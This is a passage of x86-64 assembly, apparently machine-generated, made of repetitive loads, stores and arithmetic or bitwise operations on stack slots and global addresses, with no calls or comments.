mov ecx, dword [rsp + 0x43b4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xda28]
mov dword [rcx], eax
lea rax, [rsp + 0x4e64]
mov qword [rsp + 0xe118], rax
movzx eax, word [rsp + 0x10c8]
mov rcx, qword [rsp + 0xab00]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcdc8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x183]
mov rcx, qword [rsp + 0xc078]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x14019c027], al
mov rax, qword [rsp + 0xd040]
mov eax, dword [rax]
mov dword [rsp + 0x523c], eax
mov rax, qword [0x14019dd48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42e8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4da0], eax
lea rax, [rsp + 0x436c]
mov qword [rsp + 0xe120], rax
mov eax, dword [rsp + 0x4ca8]
mov ecx, dword [rsp + 0x4190]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ee4], eax
mov rax, qword [rsp + 0xbdb8]
movzx eax, byte [rax]
movzx ecx, byte [0x14019c01a]
add eax, ecx
mov rcx, qword [rsp + 0xbd30]
mov byte [rcx], al
lea rax, [rsp + 0x14b0]
mov qword [rsp + 0xe128], rax
mov eax, dword [rsp + 0x4ffc]
mov ecx, dword [rsp + 0x43cc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa650]
mov dword [rcx], eax
lea rax, [rsp + 0x4ec0]
mov qword [rsp + 0xe130], rax
movsx eax, word [rsp + 0x1014]
movsx ecx, word [rsp + 0xf20]
sub eax, ecx
mov rcx, qword [0x14019e180]
mov word [rcx], ax
mov rax, qword [rsp + 0xdaa0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb500]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa7d0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1cd]
movzx ecx, byte [rsp + 0x1dd]
shl eax, cl
mov rcx, qword [rsp + 0xb020]
mov byte [rcx], al
lea rax, [rsp + 0x135c]
mov qword [rsp + 0xe138], rax
mov rax, qword [rsp + 0xbc20]
mov ecx, dword [rsp + 0x5100]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xc708]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb5d8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14019c100]
shr eax, cl
mov dword [rsp + 0x3b08], eax
mov rax, qword [rsp + 0xb590]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4318]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd9f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd9d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4904]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4498], eax
mov rax, qword [rsp + 0xd640]
mov eax, dword [rax]
mov dword [rsp + 0x5240], eax
movzx eax, word [rsp + 0xf18]
movzx ecx, word [rsp + 0xfb8]
add eax, ecx
mov rcx, qword [rsp + 0xc7d8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1ac]
mov byte [0x14019d807], al
mov eax, dword [0x14019c174]
mov dword [rsp + 0x5244], eax
mov eax, dword [rsp + 0x4a88]
mov ecx, dword [rsp + 0x48f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b6c], eax
mov rax, qword [rsp + 0xa8e8]
mov eax, dword [rax]
mov dword [rsp + 0x5248], eax
mov rax, qword [rsp + 0xc898]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50cc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc7a0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x12e4]
mov rcx, qword [rsp + 0xc670]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xff0], ax
lea rax, [rsp + 0x2bc]
mov qword [rsp + 0xe140], rax
movsx eax, word [rsp + 0x1430]
mov rcx, qword [rsp + 0xbf78]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14ac], ax
movzx eax, byte [rsp + 0x27b]
mov byte [rsp + 0x2f3], al
mov rax, qword [rsp + 0xaca8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x44d0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14019db98]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4a0c]
mov ecx, dword [rsp + 0x4ccc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb4f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xae58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd188]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x162], al
movzx eax, word [rsp + 0x1348]
mov word [rsp + 0x155c], ax
mov eax, dword [rsp + 0x4abc]
mov rcx, qword [rsp + 0xce88]
mov qword [rsp + 0xe148], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe148]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x44a0], eax
lea rax, [rsp + 0x4ddc]
mov qword [rsp + 0xe150], rax
mov rax, qword [rsp + 0xc230]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4700]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x51d4], eax
mov rax, qword [rsp + 0xa7d8]
mov eax, dword [rax]
mov ecx, dword [0x14019dee8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc1b0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x131c]
mov word [rsp + 0x1560], ax
mov rax, qword [rsp + 0xcf88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x179]
sar eax, cl
mov byte [0x14019c02e], al
mov rax, qword [rsp + 0xd888]
mov rcx, qword [rsp + 0xd0d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4b5c], eax
mov rax, qword [rsp + 0xbcd8]
mov eax, dword [rax]
mov dword [rsp + 0x524c], eax
mov rax, qword [0x14019e140]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4fd8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa980]
mov dword [rcx], eax
mov eax, dword [rsp + 0x47f4]
mov ecx, dword [rsp + 0x4cac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b60], eax
mov rax, qword [rsp + 0xc880]
mov eax, dword [rax]
mov dword [rsp + 0x5250], eax
mov rax, qword [rsp + 0xc140]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa440]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1094], ax
movzx eax, byte [rsp + 0x1b8]
mov byte [rsp + 0x2f4], al
mov rax, qword [rsp + 0xd680]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xba30]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x13c8], ax
mov rax, qword [rsp + 0xc5f0]
movzx eax, byte [rax]
mov rcx, qword [0x14019dfd8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14019dec0]
mov byte [rcx], al
mov rax, qword [rsp + 0xdac8]
mov rcx, qword [rsp + 0xabb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x34f4], eax
mov rax, qword [rsp + 0xa428]
mov rcx, qword [rsp + 0xdce8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc020]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x27c]
mov rcx, qword [rsp + 0xb978]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc480]
mov byte [rcx], al
lea rax, [rsp + 0x13b4]
mov qword [rsp + 0xe158], rax
mov rax, qword [rsp + 0xbfc0]
mov rcx, qword [rsp + 0xd8e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xaaf8]
mov dword [rcx], eax
lea rax, [rsp + 0x5110]
mov qword [rsp + 0xe160], rax
mov rax, qword [rsp + 0xa3c0]
mov ecx, dword [rsp + 0x4b4c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x440c], eax
mov eax, dword [0x14019c000]
mov ecx, dword [rsp + 0x3334]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4788], eax
movzx eax, word [rsp + 0x11fc]
movzx ecx, word [rsp + 0x10a8]
sar eax, cl
mov word [0x14019c188], ax
lea rax, [rsp + 0x2dd]
mov qword [rsp + 0xe168], rax
mov rax, qword [rsp + 0xc310]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4ef8]
shl eax, cl
mov rcx, qword [rsp + 0xd630]
mov dword [rcx], eax
lea rax, [rsp + 0x4b64]
mov qword [rsp + 0xe170], rax
mov rax, qword [rsp + 0xd7c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x269]
and eax, ecx
mov byte [rsp + 0x1bc], al
mov rax, qword [0x14019dfc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1240]
sub eax, ecx
mov word [rsp + 0x14a0], ax
movzx eax, word [rsp + 0x149c]
mov word [rsp + 0x1564], ax
mov rax, qword [rsp + 0xcd00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xda60]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x124], al
lea rax, [0x14019de40]
mov qword [rsp + 0xe178], rax
mov rax, qword [rsp + 0xd710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45bc]
add ecx, eax
mov eax, ecx
mov dword [0x14019c058], eax
mov rax, qword [rsp + 0xbcc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3444]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb378]
mov dword [rcx], eax
lea rax, [0x14019c0c0]
mov qword [rsp + 0xe180], rax
mov rax, qword [rsp + 0xb140]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4370]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa6e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc480]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaac0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xca28]
mov byte [rcx], al
movzx eax, word [rsp + 0xf70]
mov word [rsp + 0x1568], ax
mov rax, qword [rsp + 0xb808]
mov ecx, dword [rsp + 0x36f0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x50e4], eax
lea rax, [rsp + 0x4774]
mov qword [rsp + 0xe188], rax
mov rax, qword [0x14019da90]
mov ecx, dword [rsp + 0x36e4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb328]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3b0]
mov eax, dword [rax]
mov dword [0x14019e1f8], eax
mov rax, qword [rsp + 0xb478]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa8c0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1150], ax
lea rax, [rsp + 0x2e0]
mov qword [rsp + 0xe190], rax
movsx eax, word [rsp + 0x1520]
movsx ecx, word [rsp + 0x12e8]
sar eax, cl
mov rcx, qword [rsp + 0xc178]
mov word [rcx], ax
movzx eax, byte [rsp + 0x288]
mov byte [rsp + 0x2f5], al
mov rax, qword [rsp + 0xcba8]
mov ecx, dword [0x14019dcb0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x35ac], eax
mov rax, qword [rsp + 0xbc98]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa6a0]
mov qword [rsp + 0xe198], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe198]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xbcf0]
mov dword [rcx], eax
lea rax, [rsp + 0x20d]
mov qword [rsp + 0xe1a0], rax
mov rax, qword [rsp + 0xc670]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcae8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb050]
mov word [rcx], ax
mov eax, dword [rsp + 0x4e1c]
mov ecx, dword [rsp + 0x4b2c]
and ecx, eax
mov eax, ecx
mov dword [0x14019c18c], eax
mov rax, qword [rsp + 0xb188]
mov eax, dword [rax]
mov dword [rsp + 0x5254], eax
mov eax, dword [rsp + 0x51ec]
mov ecx, dword [rsp + 0x36e4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd098]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd788]
mov rcx, qword [rsp + 0xc470]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xccd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc4f8]
movzx eax, byte [rax]
mov byte [rsp + 0x2f6], al
mov rax, qword [rsp + 0xddb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd800]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x125c], ax
mov eax, dword [rsp + 0x4b24]
mov dword [rsp + 0x5258], eax
mov rax, qword [rsp + 0xbe80]
mov ecx, dword [rsp + 0x4548]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x47d0], eax
mov eax, dword [rsp + 0x4870]
mov dword [rsp + 0x525c], eax
mov rax, qword [rsp + 0xb080]
mov ecx, dword [rsp + 0x4a74]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019dc60], eax
mov rax, qword [rsp + 0xca88]
mov rcx, qword [rsp + 0xbe18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x438c], eax
mov rax, qword [rsp + 0xc050]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1504]
add eax, ecx
mov word [rsp + 0x10ac], ax
lea rax, [rsp + 0x206]
mov qword [rsp + 0xe1a8], rax
movzx eax, word [rsp + 0xd4c]
mov rcx, qword [rsp + 0xb270]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xab10]
mov word [rcx], ax
lea rax, [rsp + 0x27a]
mov qword [rsp + 0xe1b0], rax
mov eax, dword [rsp + 0x51c4]
mov rcx, qword [rsp + 0xdfd0]
mov qword [rsp + 0xe1b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe1b8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xb008]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc378]
mov rcx, qword [rsp + 0xd830]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4d08], eax
lea rax, [rsp + 0x1084]
mov qword [rsp + 0xe1c0], rax
lea rax, [rsp + 0x176]
mov qword [0x14019e200], rax
mov eax, dword [rsp + 0x43d0]
mov ecx, dword [rsp + 0x5220]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x500c], eax
mov eax, dword [rsp + 0x4bc4]
mov dword [rsp + 0x5260], eax
mov rax, qword [rsp + 0xd2e8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4de4]
sar eax, cl
mov dword [rsp + 0x5214], eax
mov rax, qword [rsp + 0xd9a0]
mov ecx, dword [rsp + 0x4c00]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ca8], eax
lea rax, [0x14019c11c]
mov qword [rsp + 0xe1c8], rax
movzx eax, byte [rsp + 0x6f]
mov rcx, qword [rsp + 0xcf30]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xcc88]
mov byte [rcx], al
mov rax, qword [rsp + 0xb648]
mov ecx, dword [rsp + 0x415c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x341c], eax
mov rax, qword [rsp + 0xbe70]
mov ecx, dword [rsp + 0x44c4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4940], eax
movsx eax, word [rsp + 0x1474]
movsx ecx, word [rsp + 0x11f4]
sub eax, ecx
mov rcx, qword [0x14019dae0]
mov word [rcx], ax
mov rax, qword [rsp + 0xaa20]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xddc8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa558]
mov byte [rcx], al
mov rax, qword [rsp + 0xe050]
movzx eax, byte [rax]
mov byte [rsp + 0x2f7], al
movzx eax, word [rsp + 0xeec]
mov rcx, qword [rsp + 0xd8d8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb600]
mov word [rcx], ax
lea rax, [0x14019c094]
mov qword [rsp + 0xe1d0], rax
mov rax, qword [rsp + 0xa8a8]
mov ecx, dword [rsp + 0x3c00]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd0c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe0f0]
mov eax, dword [rax]
mov dword [rsp + 0x5264], eax
mov rax, qword [rsp + 0xdf68]
mov ecx, dword [0x14019bf18]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbff0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb788]
mov ecx, dword [rsp + 0x4310]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa6e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb370]
movzx eax, word [rax]
mov word [rsp + 0x156c], ax
movzx eax, byte [rsp + 0x208]
mov rcx, qword [rsp + 0xd920]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14019d988]
mov byte [rcx], al
mov rax, qword [rsp + 0xc7a0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbeb0]
mov qword [rsp + 0xe1d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe1d8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x432c], eax
lea rax, [rsp + 0x4ab8]
mov qword [rsp + 0xe1e0], rax
mov rax, qword [rsp + 0xd640]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd850]
mov qword [rsp + 0xe1e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe1e8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xd998]
mov dword [rcx], eax
mov eax, dword [rsp + 0x36d0]
mov ecx, dword [rsp + 0x4b2c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xdc98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xca70]
movzx eax, word [rax]
mov word [rsp + 0x1570], ax
mov rax, qword [0x14019dc38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x21b]
xor eax, ecx
mov rcx, qword [rsp + 0xc800]
mov byte [rcx], al
mov rax, qword [rsp + 0xbaf0]
movzx eax, byte [rax]
mov byte [rsp + 0x2f8], al
mov rax, qword [rsp + 0xb088]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1140]
and eax, ecx
mov word [rsp + 0x108c], ax
mov rax, qword [0x14019dc18]
mov ecx, dword [rsp + 0x50b8]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019c190], eax
mov rax, qword [rsp + 0xb160]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4478]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3334], eax
movzx eax, word [rsp + 0x13e4]
mov word [rsp + 0x1574], ax
movzx eax, byte [rsp + 0x1a5]
movzx ecx, byte [rsp + 0x170]
and eax, ecx
mov rcx, qword [rsp + 0xb398]
mov byte [rcx], al
lea rax, [rsp + 0x5078]
mov qword [rsp + 0xe1f0], rax
mov rax, qword [rsp + 0xd5a0]
mov rcx, qword [0x14019d8c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x45a0], eax
mov rax, qword [rsp + 0xd400]
mov eax, dword [rax]
mov dword [rsp + 0x5268], eax
mov rax, qword [rsp + 0xd6d0]
mov rcx, qword [rsp + 0xca10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x46f8], eax
movzx eax, word [rsp + 0xf04]
movzx ecx, word [0x14019e008]
add eax, ecx
mov word [rsp + 0x1280], ax
movzx eax, byte [rsp + 0x2d7]
mov rcx, qword [rsp + 0xccf8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14019c02f], al
mov eax, dword [rsp + 0x34ec]
mov dword [rsp + 0x526c], eax
mov rax, qword [rsp + 0xc460]
mov rcx, qword [rsp + 0xd908]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa590]
mov dword [rcx], eax
lea rax, [rsp + 0x48b4]
mov qword [rsp + 0xe1f8], rax
mov rax, qword [rsp + 0xd338]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd660]
mov qword [rsp + 0xe200], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe200]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4eac], eax
mov eax, dword [rsp + 0x36f0]
mov rcx, qword [rsp + 0xb820]
mov qword [rsp + 0xe208], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe208]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x49d8], eax
lea rax, [rsp + 0xd44]
mov qword [rsp + 0xe210], rax
movsx eax, byte [rsp + 0x5c]
movsx ecx, byte [rsp + 0x2a0]
xor eax, ecx
mov byte [rsp + 0x1b0], al
lea rax, [rsp + 0x2a5]
mov qword [rsp + 0xe218], rax
movzx eax, word [0x14019bf7c]
mov rcx, qword [rsp + 0xceb0]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14019c108], ax
mov rax, qword [rsp + 0xb278]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ddc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xdf18]
mov dword [rcx], eax
mov rax, qword [rsp + 0xce80]
mov eax, dword [rax]
mov ecx, dword [0x14019bf3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4718], eax
movzx eax, word [rsp + 0x10d4]
movzx ecx, word [rsp + 0x1018]
add eax, ecx
mov word [rsp + 0xd04], ax
mov rax, qword [rsp + 0xd780]
movzx eax, byte [rax]
mov rcx, qword [0x14019dbe0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd438]
mov byte [rcx], al
lea rax, [rsp + 0x4374]
mov qword [rsp + 0xe220], rax
mov rax, qword [rsp + 0xa778]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e24]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd658]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd470]
mov rcx, qword [0x14019ddd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x441c], eax
mov rax, qword [rsp + 0xdf68]
mov eax, dword [rax]
mov dword [rsp + 0x5270], eax
movzx eax, byte [rsp + 0x27e]
movzx ecx, byte [rsp + 0x19b]
add eax, ecx
mov byte [0x14019beee], al
mov rax, qword [rsp + 0xbdd8]
movzx eax, word [rax]
mov rcx, qword [0x14019ddc8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb3d8]
mov word [rcx], ax
mov rax, qword [rsp + 0xce68]
mov eax, dword [rax]
mov dword [rsp + 0x5274], eax
mov rax, qword [rsp + 0xce40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4eec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbe18]
mov dword [rcx], eax
lea rax, [0x14019bfa6]
mov qword [rsp + 0xe228], rax
movsx eax, word [rsp + 0x1270]
movsx ecx, word [rsp + 0x13b8]
add eax, ecx
mov rcx, qword [rsp + 0xac50]
mov word [rcx], ax
mov rax, qword [rsp + 0xb100]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc740]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1394], ax
movzx eax, byte [rsp + 0x2da]
mov byte [rsp + 0x2f9], al
mov rax, qword [rsp + 0xd220]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4ca0]
shl eax, cl
mov rcx, qword [rsp + 0xbd78]
mov dword [rcx], eax
lea rax, [rsp + 0x3af4]
mov qword [0x14019e208], rax
mov rax, qword [rsp + 0xdb90]
mov eax, dword [rax]
mov dword [rsp + 0x5278], eax
mov rax, qword [rsp + 0xcea8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x427c]
shr eax, cl
mov dword [rsp + 0x5094], eax
mov rax, qword [rsp + 0xd760]
mov ecx, dword [rsp + 0x4b24]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xbc90]
mov dword [rcx], eax
mov rax, qword [rsp + 0xdf98]
movzx eax, word [rax]
mov word [rsp + 0x1578], ax
mov rax, qword [0x14019e068]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xabb0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xdb], al
lea rax, [rsp + 0x4778]
mov qword [rsp + 0xe230], rax
mov rax, qword [rsp + 0xb8f0]
mov ecx, dword [0x14019c190]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc9b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x478c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d98], eax
lea rax, [rsp + 0x4684]
mov qword [0x14019e210], rax
mov rax, qword [rsp + 0xc960]
movzx eax, byte [rax]
mov byte [rsp + 0x2fa], al
mov rax, qword [rsp + 0xae68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc910]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x120c], ax
movzx eax, word [rsp + 0x1058]
mov word [rsp + 0x157c], ax
movsx eax, byte [rsp + 0x1a1]
mov rcx, qword [rsp + 0xb7c0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xdbb8]
mov byte [rcx], al
lea rax, [rsp + 0x382c]
mov qword [rsp + 0xe238], rax
mov rax, qword [rsp + 0xc368]
mov ecx, dword [rsp + 0x5114]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4b68], eax
movzx eax, word [rsp + 0xf1c]
mov rcx, qword [rsp + 0xcaf8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xdc68]
mov word [rcx], ax
mov rax, qword [rsp + 0xbe88]
movzx eax, byte [rax]
mov byte [rsp + 0x2fb], al
mov rax, qword [rsp + 0xa678]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ba0]
sub ecx, eax
mov eax, ecx
mov dword [0x14019c0b0], eax
mov rax, qword [rsp + 0xa7d8]
mov ecx, dword [rsp + 0x42ec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4188], eax
mov rax, qword [rsp + 0xc1c0]
mov ecx, dword [rsp + 0x4484]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x38e8], eax
mov eax, dword [rsp + 0x4dc0]
mov rcx, qword [rsp + 0xbe28]
mov qword [rsp + 0xe240], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe240]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3348], eax
movzx eax, byte [0x14019bf0b]
mov rcx, qword [rsp + 0xcce0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x160], al
mov rax, qword [rsp + 0xd408]
movzx eax, word [rax]
mov word [rsp + 0x1580], ax
mov rax, qword [rsp + 0xbdf8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcf40]
mov qword [rsp + 0xe248], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe248]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x41a0], eax
lea rax, [rsp + 0x44bc]
mov qword [rsp + 0xe250], rax
mov rax, qword [rsp + 0xbe28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d90]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f4c], eax
mov eax, dword [rsp + 0x4b88]
mov dword [0x14019e218], eax
mov rax, qword [0x14019deb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e5c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4eb8], eax
mov rax, qword [rsp + 0xa9b0]
movzx eax, byte [rax]
mov byte [rsp + 0x2fc], al
movsx eax, word [rsp + 0x1004]
mov rcx, qword [rsp + 0xa5f8]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1294], ax
movzx eax, word [0x14019c110]
mov word [rsp + 0x1584], ax
movzx eax, byte [rsp + 0x29f]
movzx ecx, byte [rsp + 0x1ce]
add eax, ecx
mov rcx, qword [rsp + 0xc900]
mov byte [rcx], al
mov rax, qword [rsp + 0xc1a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x496c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4650], eax
mov eax, dword [rsp + 0x4414]
mov dword [rsp + 0x527c], eax
mov rax, qword [rsp + 0xada8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea0]
sub eax, ecx
mov word [rsp + 0xc00], ax
mov rax, qword [rsp + 0xd3d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd3c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14019bf06], al
lea rax, [0x14019daf0]
mov qword [rsp + 0xe258], rax
mov rax, qword [rsp + 0xa950]
mov rcx, qword [rsp + 0xd398]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xd530]
mov dword [rcx], eax
